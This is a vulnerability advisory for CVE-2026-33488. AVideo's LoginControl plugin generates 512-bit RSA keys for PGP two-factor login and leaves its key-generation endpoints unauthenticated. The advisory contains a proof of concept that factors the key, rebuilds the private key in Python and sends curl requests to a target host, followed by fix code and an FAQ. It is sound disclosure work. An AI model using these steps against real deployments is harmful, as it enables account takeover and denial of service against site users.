CVE-2026-33488: AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
Summary
The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.
Details
The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:
php // plugin/LoginControl/pgp/functions.php:26 $privateKey = RSA::createKey(512);
This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:
1. Key generation: When a user enables PGP 2FA, the UI calls createKeys() which generates a 512-bit RSA keypair. The public key is saved to the database via savePublicKey.json.php.
2. Challenge creation (LoginControl.php:520-531): During login, a uniqid() token is generated, stored in the session, and encrypted with the user's stored public key: php // LoginControl.php:525-530 $SESSION['user']['challenge']['text'] = uniqid(); $encMessage = self::encryptPGPMessage(User::getId(), $SESSION['user']['challenge']['text']);
3. Challenge verification (LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check: php // LoginControl.php:534 if ($response == $SESSION['user']['challenge']['text']) {
Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.
Unauthenticated endpoints (compounding issue):
generateKeys.json.php does not include configuration.php and has no authentication check: php // plugin/LoginControl/pgp/generateKeys.json.php:1-2 <?php requireonce '../../../plugin/LoginControl/pgp/functions.php';
Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.
PoC
Step 1: Obtain the target user's 512-bit public key
The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the usersexternalOptions table under the key PGPKey.
Step 2: Extract the RSA modulus from the public key
bash Extract the modulus from the PGP public key echo "$PUBLICKEYARMOR" | gpg --import 2>/dev/null gpg --list-keys --with-key-data | grep '^pub' Or use Python: python3 -c " from Crypto.PublicKey import RSA Parse the PGP key and extract RSA modulus N N will be a ~155-digit number (512 bits) print(f'N = {key.n}') "
Step 3: Factor the 512-bit modulus
bash Using CADO-NFS (typically completes in 2-8 hours on a modern desktop) cado-nfs.py <modulusdecimal> Or using msieve: msieve -v <modulusdecimal> Output: p = <factor1>, q = <factor2>
Step 4: Reconstruct the private key and decrypt the 2FA challenge
python from Crypto.PublicKey import RSA from Crypto.Util.number import inverse
From factoring step p = <factor1> q = <factor2> n = p q e = 65537 d = inverse(e, (p-1)(q-1))
Reconstruct private key privkey = RSA.construct((n, e, d, p, q))
Decrypt the PGP-encrypted challenge from the login page and submit the plaintext to verifyChallenge.json.php
Step 5: Submit decrypted challenge to bypass 2FA
bash curl -b "sessioncookie" \ "https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \ -d "response=<decrypteduniqidvalue>" Expected: {"error":false,"msg":"","response":"<value>"}
Unauthenticated endpoint abuse:
bash No authentication required — CPU-intensive 512-bit RSA keygen curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com" Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."}
Impact
- 2FA Bypass: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely. - Account Takeover: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts. - Denial of Service: The unauthenticated generateKeys.json.php endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting. - Scope: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.
Recommended Fix
1. Increase RSA key size to 2048 bits minimum (plugin/LoginControl/pgp/functions.php:26):
php // Before: $privateKey = RSA::createKey(512);
// After: $privateKey = RSA::createKey(2048);
2. Add authentication to generateKeys.json.php (match the pattern used in decryptMessage.json.php):
php <?php requireonce '../../../videos/configuration.php'; requireonce '../../../plugin/LoginControl/pgp/functions.php'; header('Content-Type: application/json');
$obj = new stdClass(); $obj->error = true;
$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');
if (!User::isLogged()) { $obj->msg = "Authentication required"; die(jsonencode($obj)); } // ... rest of existing code
3. Add authentication to encryptMessage.json.php (same pattern):
php <?php requireonce '../../../videos/configuration.php'; requireonce '../../../plugin/LoginControl/pgp/functions.php'; // Add auth check before processing if (!User::isLogged()) { $obj->msg = 'Authentication required'; die(jsonencode($obj)); }
4. Add minimum key size validation in savePublicKey.json.php to reject weak keys regardless of how they were generated:
php // After line 26, before saving: $keyData = OpenPGPMessage::parse(OpenPGP::unarmor($REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK')); if ($keyData && $keyData[0] instanceof OpenPGPPublicKeyPacket) { $bitLength = strlen($keyData[0]->key['n']) 8; if ($bitLength < 2048) { $obj->msg = "Key size too small. Minimum 2048 bits required."; die(jsonencode($obj)); } }
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33488?
The severity of CVE-2026-33488 is rated high with a CVSS score of 8.1.
How do I fix CVE-2026-33488?
To fix CVE-2026-33488, you should apply the available patch provided by the software vendor.
What is the risk associated with CVE-2026-33488?
CVE-2026-33488 poses a risk score of 54, indicating a significant vulnerability affecting PGP 2FA.
What type of encryption is affected by CVE-2026-33488?
CVE-2026-33488 is affected by weak encryption due to the usage of a 512-bit RSA key.
Can CVE-2026-33488 be exploited remotely?
Yes, CVE-2026-33488 can be exploited remotely, as it allows attackers to bypass the PGP 2FA protection.